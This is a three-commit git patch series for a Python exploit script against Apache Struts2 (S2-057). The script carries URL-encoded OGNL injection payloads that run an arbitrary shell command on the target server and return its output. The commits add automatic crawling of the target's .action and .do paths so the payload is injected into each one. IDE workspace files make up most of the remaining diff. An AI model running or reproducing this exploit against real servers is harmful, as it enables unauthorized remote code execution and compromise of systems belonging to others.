From 41768481d12f0354580f3d96561450216565585e Mon Sep 17 00:00:00 2001
From: bool <liyq3@knownsec.com>
Date: Tue, 23 Jul 2019 15:55:44 +0800
Subject: [PATCH 1/3] =?UTF-8?q?=E4=B8=8D=E7=9F=A5=E5=88=B0=E8=B7=AF?=
 =?UTF-8?q?=E5=BE=84=E7=9A=84=E6=97=B6=E5=80=99=E8=83=BD=E6=9E=9A=E4=B8=BE?=
 =?UTF-8?q?=E6=89=80=E6=9C=89=E8=B7=AF=E5=BE=84?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .idea/misc.xml            |   7 ++
 .idea/modules.xml         |   8 +++
 .idea/struts2-057-exp.iml |  11 +++
 .idea/vcs.xml             |   6 ++
 .idea/workspace.xml       | 147 ++++++++++++++++++++++++++++++++++++++
 s2_057_exp.py             |  60 +++++++++++-----
 6 files changed, 221 insertions(+), 18 deletions(-)
 create mode 100644 .idea/misc.xml
 create mode 100644 .idea/modules.xml
 create mode 100644 .idea/struts2-057-exp.iml
 create mode 100644 .idea/vcs.xml
 create mode 100644 .idea/workspace.xml

diff --git a/.idea/misc.xml b/.idea/misc.xml
new file mode 100644
index 0000000..f99b311
--- /dev/null
+++ b/.idea/misc.xml
@@ -0,0 +1,7 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<project version="4">
+  <component name="JavaScriptSettings">
+    <option name="languageLevel" value="ES6" />
+  </component>
+  <component name="ProjectRootManager" version="2" project-jdk-name="Python 2.7" project-jdk-type="Python SDK" />
+</project>
\ No newline at end of file
diff --git a/.idea/modules.xml b/.idea/modules.xml
new file mode 100644
index 0000000..f1c60b7
--- /dev/null
+++ b/.idea/modules.xml
@@ -0,0 +1,8 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<project version="4">
+  <component name="ProjectModuleManager">
+    <modules>
+      <module fileurl="file://$PROJECT_DIR$/.idea/struts2-057-exp.iml" filepath="$PROJECT_DIR$/.idea/struts2-057-exp.iml" />
+    </modules>
+  </component>
+</project>
\ No newline at end of file
diff --git a/.idea/struts2-057-exp.iml b/.idea/struts2-057-exp.iml
new file mode 100644
index 0000000..6711606
--- /dev/null
+++ b/.idea/struts2-057-exp.iml
@@ -0,0 +1,11 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<module type="PYTHON_MODULE" version="4">
+  <component name="NewModuleRootManager">
+    <content url="file://$MODULE_DIR$" />
+    <orderEntry type="inheritedJdk" />
+    <orderEntry type="sourceFolder" forTests="false" />
+  </component>
+  <component name="TestRunnerService">
+    <option name="PROJECT_TEST_RUNNER" value="Unittests" />
+  </component>
+</module>
\ No newline at end of file
diff --git a/.idea/vcs.xml b/.idea/vcs.xml
new file mode 100644
index 0000000..94a25f7
--- /dev/null
+++ b/.idea/vcs.xml
@@ -0,0 +1,6 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<project version="4">
+  <component name="VcsDirectoryMappings">
+    <mapping directory="$PROJECT_DIR$" vcs="Git" />
+  </component>
+</project>
\ No newline at end of file
diff --git a/.idea/workspace.xml b/.idea/workspace.xml
new file mode 100644
index 0000000..f2afc68
--- /dev/null
+++ b/.idea/workspace.xml
@@ -0,0 +1,147 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<project version="4">
+  <component name="ChangeListManager">
+    <list default="true" id="b71e5795-778f-46b6-8f65-b1d29747c38b" name="Default Changelist" comment="">
+      <change afterPath="$PROJECT_DIR$/.idea/misc.xml" afterDir="false" />
+      <change afterPath="$PROJECT_DIR$/.idea/modules.xml" afterDir="false" />
+      <change afterPath="$PROJECT_DIR$/.idea/struts2-057-exp.iml" afterDir="false" />
+      <change afterPath="$PROJECT_DIR$/.idea/vcs.xml" afterDir="false" />
+      <change beforePath="$PROJECT_DIR$/s2_057_exp.py" beforeDir="false" afterPath="$PROJECT_DIR$/s2_057_exp.py" afterDir="false" />
+    </list>
+    <option name="EXCLUDED_CONVERTED_TO_IGNORED" value="true" />
+    <option name="SHOW_DIALOG" value="false" />
+    <option name="HIGHLIGHT_CONFLICTS" value="true" />
+    <option name="HIGHLIGHT_NON_ACTIVE_CHANGELIST" value="false" />
+    <option name="LAST_RESOLUTION" value="IGNORE" />
+  </component>
+  <component name="FileEditorManager">
+    <leaf>
+      <file pinned="false" current-in-tab="true">
+        <entry file="file://$PROJECT_DIR$/s2_057_exp.py">
+          <provider selected="true" editor-type-id="text-editor">
+            <state relative-caret-position="-184">
+              <caret line="12" column="14" lean-forward="true" selection-start-line="12" selection-start-column="14" selection-end-line="12" selection-end-column="14" />
+              <folding>
+                <element signature="e#80#95#0" expanded="true" />
+              </folding>
+            </state>
+          </provider>
+        </entry>
+      </file>
+    </leaf>
+  </component>
+  <component name="Git.Settings">
+    <option name="RECENT_GIT_ROOT_PATH" value="$PROJECT_DIR$" />
+  </component>
+  <component name="IdeDocumentHistory">
+    <option name="CHANGED_PATHS">
+      <list>
+        <option value="$PROJECT_DIR$/s2_057_exp.py" />
+      </list>
+    </option>
+  </component>
+  <component name="ProjectFrameBounds">
+    <option name="x" value="82" />
+    <option name="y" value="79" />
+    <option name="width" value="1400" />
+    <option name="height" value="689" />
+  </component>
+  <component name="ProjectView">
+    <navigator proportions="" version="1">
+      <foldersAlwaysOnTop value="true" />
+    </navigator>
+    <panes>
+      <pane id="Scope" />
+      <pane id="ProjectPane">
+        <subPane>
+          <expand>
+            <path>
+              <item name="struts2-057-exp" type="b2602c69:ProjectViewProjectNode" />
+              <item name="struts2-057-exp" type="462c0819:PsiDirectoryNode" />
+            </path>
+          </expand>
+          <select />
+        </subPane>
+      </pane>
+    </panes>
+  </component>
+  <component name="PropertiesComponent">
+    <property name="ASKED_SHARE_PROJECT_CONFIGURATION_FILES" value="true" />
+    <property name="SHARE_PROJECT_CONFIGURATION_FILES" value="true" />
+    <property name="WebServerToolWindowFactoryState" value="false" />
+    <property name="nodejs_interpreter_path.stuck_in_default_project" value="undefined stuck path" />
+    <property name="nodejs_npm_path_reset_for_default_project" value="true" />
+    <property name="settings.editor.selected.configurable" value="com.jetbrains.python.configuration.PyActiveSdkModuleConfigurable" />
+  </component>
+  <component name="RunDashboard">
+    <option name="ruleStates">
+      <list>
+        <RuleState>
+          <option name="name" value="ConfigurationTypeDashboardGroupingRule" />
+        </RuleState>
+        <RuleState>
+          <option name="name" value="StatusDashboardGroupingRule" />
+        </RuleState>
+      </list>
+    </option>
+  </component>
+  <component name="SvnConfiguration">
+    <configuration />
+  </component>
+  <component name="TaskManager">
+    <task active="true" id="Default" summary="Default task">
+      <changelist id="b71e5795-778f-46b6-8f65-b1d29747c38b" name="Default Changelist" comment="" />
+      <created>1563866913040</created>
+      <option name="number" value="Default" />
+      <option name="presentableId" value="Default" />
+      <updated>1563866913040</updated>
+      <workItem from="1563866914330" duration="1575000" />
+    </task>
+    <servers />
+  </component>
+  <component name="TimeTrackingManager">
+    <option name="totallyTimeSpent" value="1575000" />
+  </component>
+  <component name="ToolWindowManager">
+    <frame x="87" y="96" width="1400" height="689" extended-state="0" />
+    <editor active="true" />
+    <layout>
+      <window_info id="Favorites" side_tool="true" />
+      <window_info active="true" content_ui="combo" id="Project" order="0" visible="true" weight="0.2496318" />
+      <window_info id="Structure" order="1" side_tool="true" weight="0.25" />
+      <window_info anchor="bottom" id="Docker" show_stripe_button="false" />
+      <window_info anchor="bottom" id="Database Changes" />
+      <window_info anchor="bottom" id="Version Control" />
+      <window_info anchor="bottom" id="Python Console" />
+      <window_info anchor="bottom" id="Terminal" />
+      <window_info anchor="bottom" id="Event Log" side_tool="true" />
+      <window_info anchor="bottom" id="Message" order="0" />
+      <window_info anchor="bottom" id="Find" order="1" />
+      <window_info anchor="bottom" id="Run" order="2" />
+      <window_info anchor="bottom" id="Debug" order="3" weight="0.4" />
+      <window_info anchor="bottom" id="Cvs" order="4" weight="0.25" />
+      <window_info anchor="bottom" id="Inspection" order="5" weight="0.4" />
+      <window_info anchor="bottom" id="TODO" order="6" />
+      <window_info anchor="right" id="SciView" />
+      <window_info anchor="right" id="Database" />
+      <window_info anchor="right" id="Commander" internal_type="SLIDING" order="0" type="SLIDING" weight="0.4" />
+      <window_info anchor="right" id="Ant Build" order="1" weight="0.25" />
+      <window_info anchor="right" content_ui="combo" id="Hierarchy" order="2" weight="0.25" />
+    </layout>
+  </component>
+  <component name="TypeScriptGeneratedFilesManager">
+    <option name="version" value="1" />
+  </component>
+  <component name="editorHistoryManager">
+    <entry file="file://$PROJECT_DIR$/s2_057_exp.py">
+      <provider selected="true" editor-type-id="text-editor">
+        <state relative-caret-position="-184">
+          <caret line="12" column="14" lean-forward="true" selection-start-line="12" selection-start-column="14" selection-end-line="12" selection-end-column="14" />
+          <folding>
+            <element signature="e#80#95#0" expanded="true" />
+          </folding>
+        </state>
+      </provider>
+    </entry>
+  </component>
+</project>
\ No newline at end of file
diff --git a/s2_057_exp.py b/s2_057_exp.py
index 0054ee5..2b89926 100644
--- a/s2_057_exp.py
+++ b/s2_057_exp.py
@@ -2,29 +2,53 @@
 #author: 360云影实验室 (icematcha@360Yunyinglab, Ivan1ee@github.com)
 import requests
 import sys
+from urlparse import urljoin, urlparse
+import re
 
-def expliot(host, command, path):
-	payload = '%24%7B%28%23dm%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28@com.opensymphony.xwork2.ognl.OgnlUtil@class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23w%3D%23ct.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%29.%28%23w.print%28@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27'+ command +'%27%29.getInputStream%28%29%29%29%29.%28%23w.close%28%29%29%7D/'
-	payload1 = '%24%7B%28%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23w%3D%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%29.%28%23w.print%28@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27'+command+'%27%29.getInputStream%28%29%29%29%29.%28%23w.close%28%29%29%7D/'
 
-	url = host+payload+path
-	url1 = host+payload1+path
+def gen_paylaod(uri, payload):
+	prefix = '/'.join(uri.split('/')[:-1])
+	urlpack = urlparse(sys.argv[1].strip())
+	url = urlpack.scheme + '://' + urlpack.netloc + prefix + '/' + payload + uri.split(prefix)[1]
+	return url
 
-	res = requests.get(url, allow_redirects=False)
-	res1 = requests.get(url1, allow_redirects=False)
+def expliot(host , command):
+	def get_all_actions(host):
+		resp = requests.get(host).content
+		match = re.findall(r'''(?:href|action|src)\s*?=\s*?(?:"|')\s*?([^'"]*?\.(?:action|do))''', resp)
+		return match
 
-	if res.status_code == 200 and res1.status_code != 200:
-		print "Exploit successful:"
-		print res.content
-	elif res1.status_code == 200 and res.status_code != 200:
-		print "Exploit successful:"
-		print res1.content
-	else:
-		print('The target is likely unvulnerable,mabye your struts2 version is too high!')
+	link_list = get_all_actions(host)
+
+	payload = '%24%7B%28%23dm%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28@com.opensymphony.xwork2.ognl.OgnlUtil@class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23w%3D%23ct.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%29.%28%23w.print%28@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27'+ command +'%27%29.getInputStream%28%29%29%29%29.%28%23w.close%28%29%29%7D'
+	payload1 = '%24%7B%28%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23w%3D%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%29.%28%23w.print%28@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27'+command+'%27%29.getInputStream%28%29%29%29%29.%28%23w.close%28%29%29%7D'
+
+	for _uri in link_list:
+		try:
+			payload_url = gen_paylaod(_uri, payload)
+			payload_url1 = gen_paylaod(_uri, payload1)
+
+			res = requests.get(payload_url, allow_redirects=False)
+			res1 = requests.get(payload_url1, allow_redirects=False)
+			if res.status_code == 200 and res1.status_code != 200:
+				return res.content
+			elif res1.status_code == 200 and res.status_code != 200:
+				return res.content
+			else:
+				pass
+		except Exception as e:
+			print e
+	return None
 
 
 if __name__ == '__main__':
-	if len(sys.argv) < 4:
-		print("Usage: python s2-057-exp.py http://www.xxx.com/ {command} {The path such as:actionChain1.action}")
+	if len(sys.argv) < 3:
+		print("Usage: python s2-057-exp.py http://www.xxx.com/ {command}")
 	else:
-		expliot(sys.argv[1].strip(), sys.argv[2], sys.argv[3].strip())
+		res = expliot(sys.argv[1].strip(), sys.argv[2])
+		if res:
+			print "Exploit successful:"
+			print res
+		else:
+			print('The target is likely unvulnerable,mabye your struts2 version is too high!')
+

From f7448805bd083d0c752740831ece5f06783e1a96 Mon Sep 17 00:00:00 2001
From: bool <liyq3@knownsec.com>
Date: Tue, 23 Jul 2019 16:03:42 +0800
Subject: [PATCH 2/3] enumerate action path

---
 .idea/workspace.xml | 26 ++++++++++----------------
 1 file changed, 10 insertions(+), 16 deletions(-)

diff --git a/.idea/workspace.xml b/.idea/workspace.xml
index f2afc68..8da2293 100644
--- a/.idea/workspace.xml
+++ b/.idea/workspace.xml
@@ -1,13 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <project version="4">
   <component name="ChangeListManager">
-    <list default="true" id="b71e5795-778f-46b6-8f65-b1d29747c38b" name="Default Changelist" comment="">
-      <change afterPath="$PROJECT_DIR$/.idea/misc.xml" afterDir="false" />
-      <change afterPath="$PROJECT_DIR$/.idea/modules.xml" afterDir="false" />
-      <change afterPath="$PROJECT_DIR$/.idea/struts2-057-exp.iml" afterDir="false" />
-      <change afterPath="$PROJECT_DIR$/.idea/vcs.xml" afterDir="false" />
-      <change beforePath="$PROJECT_DIR$/s2_057_exp.py" beforeDir="false" afterPath="$PROJECT_DIR$/s2_057_exp.py" afterDir="false" />
-    </list>
+    <list default="true" id="b71e5795-778f-46b6-8f65-b1d29747c38b" name="Default Changelist" comment="" />
     <option name="EXCLUDED_CONVERTED_TO_IGNORED" value="true" />
     <option name="SHOW_DIALOG" value="false" />
     <option name="HIGHLIGHT_CONFLICTS" value="true" />
@@ -19,8 +13,8 @@
       <file pinned="false" current-in-tab="true">
         <entry file="file://$PROJECT_DIR$/s2_057_exp.py">
           <provider selected="true" editor-type-id="text-editor">
-            <state relative-caret-position="-184">
-              <caret line="12" column="14" lean-forward="true" selection-start-line="12" selection-start-column="14" selection-end-line="12" selection-end-column="14" />
+            <state relative-caret-position="131">
+              <caret line="33" column="34" lean-forward="true" selection-start-line="33" selection-start-column="34" selection-end-line="33" selection-end-column="34" />
               <folding>
                 <element signature="e#80#95#0" expanded="true" />
               </folding>
@@ -41,8 +35,8 @@
     </option>
   </component>
   <component name="ProjectFrameBounds">
-    <option name="x" value="82" />
-    <option name="y" value="79" />
+    <option name="x" value="801" />
+    <option name="y" value="264" />
     <option name="width" value="1400" />
     <option name="height" value="689" />
   </component>
@@ -95,15 +89,15 @@
       <option name="number" value="Default" />
       <option name="presentableId" value="Default" />
       <updated>1563866913040</updated>
-      <workItem from="1563866914330" duration="1575000" />
+      <workItem from="1563866914330" duration="1934000" />
     </task>
     <servers />
   </component>
   <component name="TimeTrackingManager">
-    <option name="totallyTimeSpent" value="1575000" />
+    <option name="totallyTimeSpent" value="1934000" />
   </component>
   <component name="ToolWindowManager">
-    <frame x="87" y="96" width="1400" height="689" extended-state="0" />
+    <frame x="801" y="264" width="1400" height="689" extended-state="0" />
     <editor active="true" />
     <layout>
       <window_info id="Favorites" side_tool="true" />
@@ -135,8 +129,8 @@
   <component name="editorHistoryManager">
     <entry file="file://$PROJECT_DIR$/s2_057_exp.py">
       <provider selected="true" editor-type-id="text-editor">
-        <state relative-caret-position="-184">
-          <caret line="12" column="14" lean-forward="true" selection-start-line="12" selection-start-column="14" selection-end-line="12" selection-end-column="14" />
+        <state relative-caret-position="131">
+          <caret line="33" column="34" lean-forward="true" selection-start-line="33" selection-start-column="34" selection-end-line="33" selection-end-column="34" />
           <folding>
             <element signature="e#80#95#0" expanded="true" />
           </folding>

From b42a668596bd2acf3cc097c9964f5d6c996cf44a Mon Sep 17 00:00:00 2001
From: bool <liyq3@knownsec.com>
Date: Tue, 23 Jul 2019 16:11:31 +0800
Subject: [PATCH 3/3] emurate action path

---
 .idea/workspace.xml | 22 ++++++++++++----------
 s2_057_exp.py       |  4 ++--
 2 files changed, 14 insertions(+), 12 deletions(-)

diff --git a/.idea/workspace.xml b/.idea/workspace.xml
index 8da2293..71716af 100644
--- a/.idea/workspace.xml
+++ b/.idea/workspace.xml
@@ -1,7 +1,9 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <project version="4">
   <component name="ChangeListManager">
-    <list default="true" id="b71e5795-778f-46b6-8f65-b1d29747c38b" name="Default Changelist" comment="" />
+    <list default="true" id="b71e5795-778f-46b6-8f65-b1d29747c38b" name="Default Changelist" comment="">
+      <change beforePath="$PROJECT_DIR$/s2_057_exp.py" beforeDir="false" afterPath="$PROJECT_DIR$/s2_057_exp.py" afterDir="false" />
+    </list>
     <option name="EXCLUDED_CONVERTED_TO_IGNORED" value="true" />
     <option name="SHOW_DIALOG" value="false" />
     <option name="HIGHLIGHT_CONFLICTS" value="true" />
@@ -13,8 +15,8 @@
       <file pinned="false" current-in-tab="true">
         <entry file="file://$PROJECT_DIR$/s2_057_exp.py">
           <provider selected="true" editor-type-id="text-editor">
-            <state relative-caret-position="131">
-              <caret line="33" column="34" lean-forward="true" selection-start-line="33" selection-start-column="34" selection-end-line="33" selection-end-column="34" />
+            <state relative-caret-position="129">
+              <caret line="27" column="43" selection-start-line="27" selection-start-column="43" selection-end-line="27" selection-end-column="43" />
               <folding>
                 <element signature="e#80#95#0" expanded="true" />
               </folding>
@@ -35,8 +37,8 @@
     </option>
   </component>
   <component name="ProjectFrameBounds">
-    <option name="x" value="801" />
-    <option name="y" value="264" />
+    <option name="x" value="530" />
+    <option name="y" value="138" />
     <option name="width" value="1400" />
     <option name="height" value="689" />
   </component>
@@ -89,15 +91,15 @@
       <option name="number" value="Default" />
       <option name="presentableId" value="Default" />
       <updated>1563866913040</updated>
-      <workItem from="1563866914330" duration="1934000" />
+      <workItem from="1563866914330" duration="2468000" />
     </task>
     <servers />
   </component>
   <component name="TimeTrackingManager">
-    <option name="totallyTimeSpent" value="1934000" />
+    <option name="totallyTimeSpent" value="2468000" />
   </component>
   <component name="ToolWindowManager">
-    <frame x="801" y="264" width="1400" height="689" extended-state="0" />
+    <frame x="530" y="138" width="1400" height="689" extended-state="0" />
     <editor active="true" />
     <layout>
       <window_info id="Favorites" side_tool="true" />
@@ -129,8 +131,8 @@
   <component name="editorHistoryManager">
     <entry file="file://$PROJECT_DIR$/s2_057_exp.py">
       <provider selected="true" editor-type-id="text-editor">
-        <state relative-caret-position="131">
-          <caret line="33" column="34" lean-forward="true" selection-start-line="33" selection-start-column="34" selection-end-line="33" selection-end-column="34" />
+        <state relative-caret-position="129">
+          <caret line="27" column="43" selection-start-line="27" selection-start-column="43" selection-end-line="27" selection-end-column="43" />
           <folding>
             <element signature="e#80#95#0" expanded="true" />
           </folding>
diff --git a/s2_057_exp.py b/s2_057_exp.py
index 2b89926..b4bf04d 100644
--- a/s2_057_exp.py
+++ b/s2_057_exp.py
@@ -25,8 +25,8 @@ def get_all_actions(host):
 
 	for _uri in link_list:
 		try:
-			payload_url = gen_paylaod(_uri, payload)
-			payload_url1 = gen_paylaod(_uri, payload1)
+			payload_url = gen_paylaod(_uri , payload)
+			payload_url1 = gen_paylaod(_uri , payload1)
 
 			res = requests.get(payload_url, allow_redirects=False)
 			res1 = requests.get(payload_url1, allow_redirects=False)